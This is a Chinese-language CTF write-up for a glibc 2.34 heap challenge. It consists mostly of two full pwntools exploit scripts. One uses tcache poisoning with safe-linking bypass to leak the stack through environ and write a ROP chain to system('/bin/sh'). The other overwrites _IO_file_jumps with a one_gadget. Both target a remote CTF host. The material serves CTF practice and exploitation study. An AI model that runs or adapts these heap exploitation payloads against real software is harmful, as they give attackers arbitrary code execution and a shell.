elf堆,libc 2.34,没开canary,两种解法
- 泄露栈地址打edit的返回地址到system
- 劫持
到og_IO_new_file_overflow
方法一
和前文bigduck一样直接放exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./pwn"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
gdb.attach(p,"b *$rebase(0x13FA)")
else:
p=remote("node4.anna.nssctf.cn",28589)
elf=ELF(filename)
context.arch=elf.arch
select=b"Choice: "
libc=ELF("./libc.so.6")
def add():
p.sendlineafter(select, b"1")
# p.sendlineafter(b"Idx: ", str(index).encode())
# p.sendlineafter(b"Size: ", str(len(content)).encode())
# p.sendlineafter(b"Content: ", content)
def edit(index,content):
p.sendlineafter(select, b"4")
p.sendlineafter(b"Idx: ", str(index).encode())
p.sendlineafter(b"Size: ", str(len(content)).encode())
p.sendlineafter(b"Content: ", content)
def free(index):
p.sendlineafter(select, b"2")
p.sendlineafter(b"Idx: ", str(index).encode())
def show(index):
p.sendlineafter(select, b"3")
p.sendlineafter(b"Idx: ", str(index).encode())
add()
add()
add()
for x in range(7):
add()
for x in range(7):
free(x+3)
free(1)
show(1)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1F2CC0
env = libc.sym["environ"] + libc_base
show(3)
key=u64(p.recvuntil(b"\nDone",drop=True)[-5:].ljust(8,b"\x00"))
heap_base=key<<0xc
print("libc_base----->"+hex(libc_base))
print("heap_base----->"+hex(heap_base))
pop_rdi=libc_base+0x000000000002daa2
edit(9,p64(key^env))
add()
add()
show(11)
stack=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x198
print("stack----->"+hex(stack))
free(0)
free(1)
edit(1,p64(stack^key))
add()
add()
#gdb.attach(p,"b *$rebase(0x12D5)")
edit(13,p64(pop_rdi)*2+p64(libc_base+0x000000000002cb99)+p64(pop_rdi)+p64(libc_base+next(libc.search(b"/bin/sh")))+p64(libc_base+libc.sym["system"]))
#gdb.attach(proc.pidof(p)[0])
p.interactive()
方法二
发现__GI__IO_file_jumps可写,正好edit完有个puts调用
和__SI_IO_new_file_xsputn_12,我们劫持_IO_new_file_overflow
即可_IO_new_file_overflow

和劫持envrion一样tcache attack写入p64(0)*3+p64(og)即可


exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./pwn"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
#gdb.attach(p,"b *$rebase(0x1521)")
else:
p=remote("node4.anna.nssctf.cn",28589)
#libc=ELF("./libc-2.23.so")
elf=ELF(filename)
context.arch=elf.arch
select=b"Choice: "
libc=ELF("./libc.so.6")
def add():
p.sendlineafter(select, b"1")
# p.sendlineafter(b"Idx: ", str(index).encode())
# p.sendlineafter(b"Size: ", str(len(content)).encode())
# p.sendlineafter(b"Content: ", content)
def edit(index,content):
p.sendlineafter(select, b"4")
p.sendlineafter(b"Idx: ", str(index).encode())
p.sendlineafter(b"Size: ", str(len(content)).encode())
p.sendlineafter(b"Content: ", content)
def free(index):
p.sendlineafter(select, b"2")
p.sendlineafter(b"Idx: ", str(index).encode())
def show(index):
p.sendlineafter(select, b"3")
p.sendlineafter(b"Idx: ", str(index).encode())
add()
add()
add()
for x in range(7):
add()
for x in range(7):
free(x+3)
free(1)
show(1)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1F2CC0
io_jump = libc.sym["_IO_file_jumps"] + libc_base
show(3)
key=u64(p.recvuntil(b"\nDone",drop=True)[-5:].ljust(8,b"\x00"))
heap_base=key<<0xc
print("libc_base----->"+hex(libc_base))
print("heap_base----->"+hex(heap_base))
pop_rdi=libc_base+0x000000000002daa2
edit(9,p64(key^io_jump))
add()
add()
edit(11,p64(0)*3+p64(libc_base+0xda864))
#gdb.attach(proc.pidof(p)[0])
p.interactive()
不过一般来说跳表都是不可写的,为什么这个可以写

Comments NOTHING